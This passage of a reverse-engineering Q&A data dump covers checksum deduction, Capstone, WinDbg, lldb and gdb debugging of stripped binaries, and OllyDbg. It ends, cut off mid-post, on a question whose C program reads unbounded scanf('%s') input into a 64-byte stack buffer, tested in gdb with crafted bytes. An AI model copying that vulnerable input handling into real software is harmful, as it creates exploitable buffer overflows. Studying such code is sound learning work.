  <row Id="9578" PostTypeId="1" AcceptedAnswerId="10620" CreationDate="2015-08-07T22:22:56.787" Score="1" ViewCount="360" Body="&lt;p&gt;I've been analyzing some SPI EEPROM memory, and tried to find out which Checksum algorithm has been used;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I've got data: 14567D9h and checksum 187h. Assuming it's normal 16 bit check sum I've got 86h - no match, but after adding 101h it magically changes to 391h&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another Example: 8ADh and check sum B5h with this one is normal - 16 bit checksum results with exact number: B5h (perfect match)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked it with 28 samples i was able to intercept. For some values i have to add 101h to checksum and for some it is only needed to sum it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parity check doesn't fit - if you want I can share some more data - all gathered in one excel file, and calculated. After few days of brainstorm with my friend we haven't come up with anything :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there is some additional part in the Algorithm, which i haven't found out yet? CRC and tonnes of other algorithms were checked - only 16 bit checksum was giving any promising results Thanks for help in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy of my spreadsheet: &lt;a href=&quot;https://drive.google.com/file/d/0B2FO0-Y1n-ySMUZ2VTVkME9tdm8/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Spreadsheet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some data I've grabbed (more in spreadsheet):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F401 84290145h&#xA;B500 08AD0000h&#xA;D400 5D310145h&#xA;4000 79810145h&#xA;B500 08AD0000h&#xA;C100 0AB70000h&#xA;C100 0AB70000h&#xA;3401 F08500BEh&#xA;E901 FE2C00BEh&#xA;A400 01E400BFh&#xA;2A01 0D5D00BFh&#xA;7E00 208304D7h&#xA;C100 0AB70000h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read it this way:&#xA;checksum: 01F4  (lways 2 bytes)&#xA;value: 01458429 (always 4 bytes) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you can see you have to switch positions of the bytes to read data properly&lt;/p&gt;&#xA;" OwnerUserId="13226" LastEditorUserId="4154" LastEditDate="2015-08-08T10:46:19.617" LastActivityDate="2015-08-13T06:03:37.967" Title="Determining checksum algorithm from known values" Tags="|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9579" PostTypeId="1" AcceptedAnswerId="10612" CreationDate="2015-08-08T07:55:34.457" Score="1" ViewCount="159" Body="&lt;p&gt;After installing the Capstone python module, I ran this &lt;a href=&quot;http://www.capstone-engine.org/op_access.html&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt; on a Win7x86 PC with a &lt;em&gt;minor edit&lt;/em&gt; (added arch and mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when attempting to use &lt;code&gt;insn.regs_access()&lt;/code&gt;, it throws a &lt;code&gt;NoneType&lt;/code&gt; object which is not iterable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enter preformatted text here&#xA;&#xA;  1 from capstone import *&#xA;  2&#xA;  3 CODE = b&quot;\x8d\x4c\x32\x08\x01\xd8&quot;&#xA;  4&#xA;  5 md = Cs(CS_ARCH_X86, CS_MODE_32)&#xA;  6 md.detail = True&#xA;  7&#xA;  8 for insn in md.disasm(code, 0x1000):&#xA;  9     print(&quot;%s\t%s&quot; % (insn.mnemonic, insn.op_str))&#xA; 10&#xA; 11     (regs_read, regs_write) = insn.regs_access()&#xA; 12&#xA; 13     if len(regs_read) &amp;gt; 0:&#xA; 14         print(&quot;\n\tRegisters read:&quot;, end=&quot;&quot;)&#xA; 15         for r in regs_read:&#xA; 16             print(&quot; %s&quot; %(insn.reg_name(r)))&#xA; 17         &#xA; 18&#xA; 19     if len(regs_write) &amp;gt; 0:&#xA; 20         print(&quot;\n\tRegisters modified:&quot;)&#xA; 21         for r in regs_write:&#xA; 22             print(&quot; %s&quot; %(insn.reg_name(r)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;X:\blah&amp;gt;python capTest.py&#xA;lea    ecx, dword ptr [edx + esi + 8]&#xA;Traceback (most recent call last):&#xA;  File &quot;capTest.py&quot;, line 11, in &amp;lt;module&amp;gt;&#xA;   (regs_read, regs_write) = insn.regs_access()&#xA;TypeError: 'NoneType' object is not iterable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can this be resolved?&lt;/p&gt;&#xA;" OwnerUserId="10058" LastEditorUserId="53" LastEditDate="2015-08-10T08:31:26.573" LastActivityDate="2015-08-11T18:31:58.513" Title="Capstone Disassembly Engine Issue: OP_Access throws TypeError" Tags="|disassembly|windows|dynamic-analysis|python|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9580" PostTypeId="1" AcceptedAnswerId="10588" CreationDate="2015-08-08T08:09:07.400" Score="1" ViewCount="349" Body="&lt;p&gt;REing a binary and while its running (using Windbg by the way) my (call)stack gets mangled. So I start to perform a stack trace [&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff552143(v=vs.85).aspx]&quot; rel=&quot;nofollow&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/hardware/ff552143(v=vs.85).aspx]&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I'm verifying various symbols/functions in the target, various instructions are paged out so I cant tell if the previous instruction was a ret or a call above it, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; u fe682ae4-2 l1      //  paged out (all zeroes) unknown&#xA;rdr!_RdrSectionInfo+0x2a:&#xA;fe682ae2 0000             add     [eax],al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know how to reload symbols via !vad extension [&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff552153(v=vs.85).aspx]&quot; rel=&quot;nofollow&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/hardware/ff552153(v=vs.85).aspx]&lt;/a&gt;. However, that requires me to use (live)kd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to ensure the target application doesn't get paged out, short of disabling the pagefile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched Google, OSRonline, Woodmann, etc. and haven't found anything helpful.&lt;/p&gt;&#xA;" OwnerUserId="10058" LastEditorUserId="10058" LastEditDate="2015-08-08T16:42:03.053" LastActivityDate="2015-08-09T13:46:39.980" Title="Tracing Callstack Despite Paged out Instructions" Tags="|windows|callstack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9582" PostTypeId="1" AcceptedAnswerId="9584" CreationDate="2015-08-08T12:22:39.297" Score="1" ViewCount="353" Body="&lt;p&gt;I'm trying to debug the binary which is not executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As sample I'm using &lt;code&gt;/bin/true&lt;/code&gt; with 644 permission:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;install -m 644 /bin/true .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I'm trying to run it as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ lldb true&#xA;(lldb) target create &quot;true&quot;&#xA;Current executable set to 'true' (x86_64).&#xA;(lldb) process launch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I've got the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error: error: ::posix_spawnp ( pid =&gt; 29052, path = '/Foo/Bar/true', file_actions = 0x7fff5d015e98, attr = 0x7fff5d015ed8, argv = 0x7fd6396507f0, envp = 0x7fd6396512d0 ) err = Permission denied (0x0000000d)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it something possible using lldb without giving the executable flag to the binary?&lt;/p&gt;&#xA;" OwnerUserId="12021" LastEditorUserId="12021" LastEditDate="2015-08-08T17:53:41.043" LastActivityDate="2015-08-08T17:53:41.043" Title="How to debug binary which doesn't have executable flags?" Tags="|linux|lldb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9583" PostTypeId="1" AcceptedAnswerId="10584" CreationDate="2015-08-08T13:08:21.800" Score="4" ViewCount="3899" Body="&lt;p&gt;I'm using &lt;code&gt;/bin/true&lt;/code&gt; as my sample binary (without available main method):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ lldb /bin/true&#xA;(lldb) target create &quot;/bin/true&quot;&#xA;Current executable set to '/bin/true' (x86_64).&#xA;(lldb) break main&#xA;invalid command 'breakpoint main'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any universal way to run the binary and stop the debugger right after the load, so appropriate symbols can be loaded? Something equivalent on breaking on the main method (first line of the code)? Or I need to calculate the entry point manually? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="12021" LastActivityDate="2015-08-08T17:42:30.440" Title="How to stop debugger right after the execution?" Tags="|debugging|linux|gdb|lldb|breakpoint|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9584" PostTypeId="2" ParentId="9582" CreationDate="2015-08-08T14:23:52.953" Score="2" Body="&lt;p&gt;No. &lt;code&gt;lldb&lt;/code&gt; wants to run the program using a combination of &lt;code&gt;fork&lt;/code&gt; and &lt;code&gt;exec&lt;/code&gt;, then control the progam with &lt;code&gt;ptrace&lt;/code&gt;. But the kernel will refuse to &lt;code&gt;exec&lt;/code&gt; the program unless it has the correct x bit (your user/group ids define which one is the correct one) set. You can set the x bit for yourself, the owner, only (if you want to prevent others from executing the binary); or you can set the x bit, start the process, and remove the x bit again (if you want to prevent yourself from running it accidentially). But to start a process that runs the binary, you need the x bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really really want to execute the binary's code without setting it executable, you could probably write a program to read its header, &lt;code&gt;mmap&lt;/code&gt; the sections you need, read the binary into those sections, possibly fix up relocations, and jump to the entry point. But you'll have a long, arduous way in front of you to get this right, and it probably won't be possible to get &lt;code&gt;llvm&lt;/code&gt; recognize any symbols in the binary. So while doing this might be a theoretical possibility, there's really no point in trying.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-08-08T14:23:52.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9585" PostTypeId="2" ParentId="9583" CreationDate="2015-08-08T14:29:22.270" Score="6" Body="&lt;p&gt;From &lt;a href=&quot;http://lldb.llvm.org/tutorial.html&quot; rel=&quot;noreferrer&quot;&gt;http://lldb.llvm.org/tutorial.html&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) process launch --stop-at-entry -- -program_arg value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note your &lt;code&gt;break main&lt;/code&gt; is a &lt;code&gt;gdb&lt;/code&gt; command; &lt;code&gt;lldb&lt;/code&gt;s error message isnt &quot;no such symbol&quot;, it's &quot;invalid command&quot;. To do the same in &lt;code&gt;lldb&lt;/code&gt;, use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) breakpoint set --name main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-08-08T14:29:22.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10584" PostTypeId="2" ParentId="9583" CreationDate="2015-08-08T15:45:05.657" Score="8" Body="&lt;p&gt;Binaries are usually &lt;a href=&quot;https://en.wikipedia.org/wiki/Strip_%28Unix%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;stripped&lt;/a&gt;. For ELF binaries, you can check it with &lt;code&gt;file&lt;/code&gt; command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file /bin/true&#xA;/bin/true: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x73796652ea437df8ac7b3ba1864a7ac177e27600, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the &lt;code&gt;stripped&lt;/code&gt; at the end of file's result. It means, among other things, that symbols have been removed, so it won't find &lt;code&gt;main&lt;/code&gt; function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to run the binary and stop the debugger right after the load, there is some &lt;strong&gt;kind of&lt;/strong&gt; universal method that should almost always work (kind of universal, not 100%)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to find the entry point, retreived by this command :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -h /bin/true | grep &quot;Entry point&quot;&#xA;  Entry point address:               0x401264&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then load the binary into your favourite debugger (lldb, gdb, ...) and break on this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;lldb :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ lldb /bin/true&#xA;(lldb) target create &quot;/bin/true&quot;&#xA;Current executable set to '/bin/true' (x86_64).&#xA;(lldb) br s -a 0x401264&#xA;Breakpoint 1: address = 0x0000000000401264&#xA;(lldb) r&#xA;...&#xA;(lldb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;gdb :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -q /bin/true&#xA;Reading symbols from /bin/true...(no debugging symbols found)...done.&#xA;gdb$ b *0x401264&#xA;Breakpoint 1 at 0x401264&#xA;gdb$ r&#xA;Breakpoint 1, 0x0000000000401264 in ?? ()&#xA;gdb$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you've loaded your binary and your breakpoint has been triggered, you can display following instructions that will be executed this way :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;lldb :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(lldb) x -s4 -fi -c11 $pc&#xA;-&amp;gt; 0x401264:    xor    ebp,ebp&#xA;   0x401266:    mov    r9,rdx&#xA;   0x401269:    pop    rsi&#xA;   0x40126a:    mov    rdx,rsp&#xA;   0x40126d:    and    rsp,0xfffffffffffffff0&#xA;   0x401271:    push   rax&#xA;   0x401272:    push   rsp&#xA;   0x401273:    mov    r8,0x403560&#xA;   0x40127a:    mov    rcx,0x403570&#xA;   0x401281:    mov    rdi,0x4011c0&#xA;   0x401288:    call   0x401060 &amp;lt;__libc_start_main@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;gdb :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ x/11i $pc&#xA;=&amp;gt; 0x401264:    xor    ebp,ebp&#xA;   0x401266:    mov    r9,rdx&#xA;   0x401269:    pop    rsi&#xA;   0x40126a:    mov    rdx,rsp&#xA;   0x40126d:    and    rsp,0xfffffffffffffff0&#xA;   0x401271:    push   rax&#xA;   0x401272:    push   rsp&#xA;   0x401273:    mov    r8,0x403560&#xA;   0x40127a:    mov    rcx,0x403570&#xA;   0x401281:    mov    rdi,0x4011c0&#xA;   0x401288:    call   0x401060 &amp;lt;__libc_start_main@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;i&lt;/code&gt; flag means &lt;strong&gt;i&lt;/strong&gt;nstruction, and &lt;code&gt;$pc&lt;/code&gt; means &lt;strong&gt;P&lt;/strong&gt;rogram &lt;strong&gt;C&lt;/strong&gt;ounter (equivalent of EIP/RIP for 32/64 bits architecures). You can see that &lt;a href=&quot;http://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/baselib---libc-start-main-.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;__libc_start_main&lt;/a&gt; will be called at address &lt;code&gt;0x401288&lt;/code&gt;. Its man page indicates its first argument is a pointer to binary &lt;code&gt;main&lt;/code&gt; function. 1st argument is here loaded in &lt;code&gt;rdi&lt;/code&gt; register, meaning that &lt;code&gt;main&lt;/code&gt; function is located at address &lt;code&gt;0x4011c0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just have to finally place a breakpoint at this address (&lt;code&gt;0x4011c0&lt;/code&gt;) and you'll be at the beginning of your binary main function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading : &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1935/how-to-handle-stripped-binaries-with-gdb-no-source-no-symbols-and-gdb-only-sho&quot;&gt;How to handle stripped binaries with GDB? No source, no symbols and GDB only shows addresses?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck and have fun !&lt;/p&gt;&#xA;" OwnerUserId="13108" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-08-08T17:42:30.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10585" PostTypeId="2" ParentId="9582" CreationDate="2015-08-08T16:14:41.750" Score="2" Body="&lt;p&gt;As for workaround (per this &lt;a href=&quot;https://unix.stackexchange.com/q/83862/21471&quot;&gt;post&lt;/a&gt;), on Linux the non-executable binary can be invoked by dynamic linker/loader as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lldb -- /lib64/ld-linux-x86-64.so.2 foo_binary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for 32-bit version use &lt;code&gt;ld-linux.so&lt;/code&gt; found in &lt;code&gt;/lib&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="12021" LastEditorUserId="-1" LastEditDate="2017-04-13T12:37:20.450" LastActivityDate="2015-08-08T16:14:41.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10586" PostTypeId="1" AcceptedAnswerId="11630" CreationDate="2015-08-08T17:24:08.413" Score="5" ViewCount="5086" Body="&lt;p&gt;In &lt;code&gt;gdb&lt;/code&gt;, I can run automatically the binary as (as per this &lt;a href=&quot;https://stackoverflow.com/q/2119564/55075&quot;&gt;post&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb -ex run /bin/true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the equivalent parameter for &lt;code&gt;lldb&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo run | lldb /bin/true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I'd like to back to debugger console instead.&lt;/p&gt;&#xA;" OwnerUserId="12021" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-12-24T23:06:42.090" Title="How to run automatically executable from CLI using lldb?" Tags="|lldb|command-line|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10588" PostTypeId="2" ParentId="9580" CreationDate="2015-08-09T06:49:00.020" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;The prompt shown is &lt;code&gt;kd&amp;gt;&lt;/code&gt; so you are debugging a live kernel.&lt;/li&gt;&#xA;&lt;li&gt;If memory could not be accessed windbg will show ? Not &lt;code&gt;0000&lt;/code&gt;&lt;br&gt;&#xA;maybe you actually have 0000 in the address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Did you try doing &lt;code&gt;.pagein&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you try viewing the physical address &lt;code&gt;!vtop 0 &amp;lt;virtualaddress&amp;gt;&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is sample of unaccessible memory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.fnent notepad!&#xA;SaveFile (01004eae) notepad!SaveFile | (01005179) notepad!LoadFile   &#xA;OffStart: 00004eae    &#xA;ProcSize: 0x2c6 kd&amp;gt;     &#xA;? 4eae+140+notepad = 01004fee     &#xA;kd&amp;gt; db notepad!SaveFile+0x140 l20    &#xA;01004fee a0 90 00 01 ff 35 54 90-00 01 ff 75 08 e8 70 cf .....5T....u..p.    &#xA;01004ffe ff ff ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ..?????????????? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the question marks &lt;code&gt;????&lt;/code&gt; because the next page at boundary &lt;code&gt;1005000&lt;/code&gt; is inaccessible. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; .pagein /p 8114bc38 1005000 &#xA;You need to continue execution (press 'g' &amp;lt;enter&amp;gt;) for the pagein to be brought in.      &#xA;When the debugger breaks in again, the page will be present.&#xA;kd&amp;gt; g&#xA;Break instruction exception - code 80000003 (first chance)&#xA;nt!RtlpBreakWithStatusInstruction:&#xA;804e35a2 cc              int     3&#xA;kd&amp;gt; db 1004ff0 &#xA;01004ff0  00 01 ff 35 54 90 00 01-ff 75 08 e8 70 cf ff ff  ...5T....u..p...&#xA;01005000  83 f8 02 0f 84 a9 00 00-00 33 ff 53 ff 75 10 57  .........3.S.u.W&#xA;01005010  ff 75 f8 ff 35 80 a4 00-01 e8 7b fb ff ff eb 78  .u..5.....{....x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="53" LastEditDate="2015-08-09T13:46:39.980" LastActivityDate="2015-08-09T13:46:39.980" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10590" PostTypeId="1" CreationDate="2015-08-09T20:47:49.997" Score="3" ViewCount="9767" Body="&lt;p&gt;When loading a .exe file within OllyDbg how can I step into the 'User Code' section?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing 'Execute till User Code' (alt-f9) does nothing unfortunately for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more information don't hesitate to ask&lt;/p&gt;&#xA;" OwnerUserId="12387" LastActivityDate="2015-10-08T23:59:21.273" Title="OllyDbg - how to jump to a specific section within a (PE) Portable Executable?" Tags="|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10591" PostTypeId="2" ParentId="10590" CreationDate="2015-08-09T23:15:52.330" Score="4" Body="&lt;p&gt;Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; and enter the address of the code you want to execute. Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;*&lt;/kbd&gt; (the numeric keypad &lt;kbd&gt;*&lt;/kbd&gt; key, &lt;em&gt;not&lt;/em&gt; the &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F8&lt;/kbd&gt; key).&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-09T23:15:52.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10594" PostTypeId="2" ParentId="9565" CreationDate="2015-08-10T06:35:21.790" Score="2" Body="&lt;p&gt;Well, I would recommend to start with searching this Community:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2881/intro-to-reverse-engineering&quot;&gt;Intro to reverse engineering&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze?rq=1&quot;&gt;Where can I, as an individual, get malware samples to analyze?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/265/where-to-find-free-training-in-reverse-engineering?lq=1&quot;&gt;Where to find (free) training in reverse engineering?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Hi Robert&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My response apply to question in topic + first part of Your question, which I understood as &quot;How can i get back to RE and improve my skills&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding second part of the question - I am pretty sure that RE of games is violation of their EULA. I am quite sure this is not a proper place to look for this kind of information. Maybe I am wrong :)&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-08-11T15:06:23.567" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10595" PostTypeId="1" AcceptedAnswerId="10596" CreationDate="2015-08-10T09:29:07.120" Score="3" ViewCount="876" Body="&lt;p&gt;I've encountered something I can't explain. Here is the problem&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;void ask()&#xA;{&#xA;    char name[64];&#xA;    printf(&quot;What is your name ? &quot;);&#xA;    scanf(&quot;%s&quot;,name);&#xA;    printf(&quot;Hi %s\n&quot;, name);&#xA;}&#xA;&#xA;int main(int argc, char* argv[])&#xA;{&#xA;    ask();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is disassembled version :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ disas ask&#xA;Dump of assembler code for function ask:&#xA;   0x0804846c &amp;lt;+0&amp;gt;: push   ebp&#xA;   0x0804846d &amp;lt;+1&amp;gt;: mov    ebp,esp&#xA;   0x0804846f &amp;lt;+3&amp;gt;: sub    esp,0x58&#xA;   0x08048472 &amp;lt;+6&amp;gt;: mov    DWORD PTR [esp],0x8048550&#xA;   0x08048479 &amp;lt;+13&amp;gt;:    call   0x8048340 &amp;lt;printf@plt&amp;gt;&#xA;   0x0804847e &amp;lt;+18&amp;gt;:    lea    eax,[ebp-0x48]&#xA;   0x08048481 &amp;lt;+21&amp;gt;:    mov    DWORD PTR [esp+0x4],eax&#xA;   0x08048485 &amp;lt;+25&amp;gt;:    mov    DWORD PTR [esp],0x8048565&#xA;   0x0804848c &amp;lt;+32&amp;gt;:    call   0x8048370 &amp;lt;__isoc99_scanf@plt&amp;gt;&#xA;   0x08048491 &amp;lt;+37&amp;gt;:    lea    eax,[ebp-0x48]&#xA;   0x08048494 &amp;lt;+40&amp;gt;:    mov    DWORD PTR [esp+0x4],eax&#xA;   0x08048498 &amp;lt;+44&amp;gt;:    mov    DWORD PTR [esp],0x8048568&#xA;   0x0804849f &amp;lt;+51&amp;gt;:    call   0x8048340 &amp;lt;printf@plt&amp;gt;&#xA;   0x080484a4 &amp;lt;+56&amp;gt;:    leave  &#xA;   0x080484a5 &amp;lt;+57&amp;gt;:    ret    &#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run it into gdb, I break on the scanf instruction to get buffer address (2nd on the stack), then I execute scanf instruction, and examine buffer address : No trace of my &lt;code&gt;0x0b&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) r &amp;lt; &amp;lt;(perl -e 'print &quot;\x0bABCDE&quot;')&#xA;--------------------------------------------------------------------------[regs]&#xA;  EAX: 0x00000001  EBX: 0xB7FCDFF4  ECX: 0x00000001  EDX: 0xB7FCF354  o d I t s Z a P c &#xA;  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF378  ESP: 0xBFFFF320  EIP: 0x08048491&#xA;  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002B&#xA;--------------------------------------------------------------------------[code]&#xA;=&amp;gt; 0x8048491 &amp;lt;ask+37&amp;gt;:  lea    eax,[ebp-0x48]&#xA;   0x8048494 &amp;lt;ask+40&amp;gt;:  mov    DWORD PTR [esp+0x4],eax&#xA;   0x8048498 &amp;lt;ask+44&amp;gt;:  mov    DWORD PTR [esp],0x8048568&#xA;   0x804849f &amp;lt;ask+51&amp;gt;:  call   0x8048340 &amp;lt;printf@plt&amp;gt;&#xA;   0x80484a4 &amp;lt;ask+56&amp;gt;:  leave  &#xA;   0x80484a5 &amp;lt;ask+57&amp;gt;:  ret    &#xA;   0x80484a6 &amp;lt;main&amp;gt;: push   ebp&#xA;   0x80484a7 &amp;lt;main+1&amp;gt;:  mov    ebp,esp&#xA;--------------------------------------------------------------------------------&#xA;&#xA;Breakpoint 1, 0x08048491 in ask ()&#xA;gdb$ x/4xw 0xbffff330&#xA;0xbffff330: 0x44434241  0xb7e90045  0x0000002f  0xb7fcdff4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is my &lt;code&gt;ABCDE&lt;/code&gt; followed by null 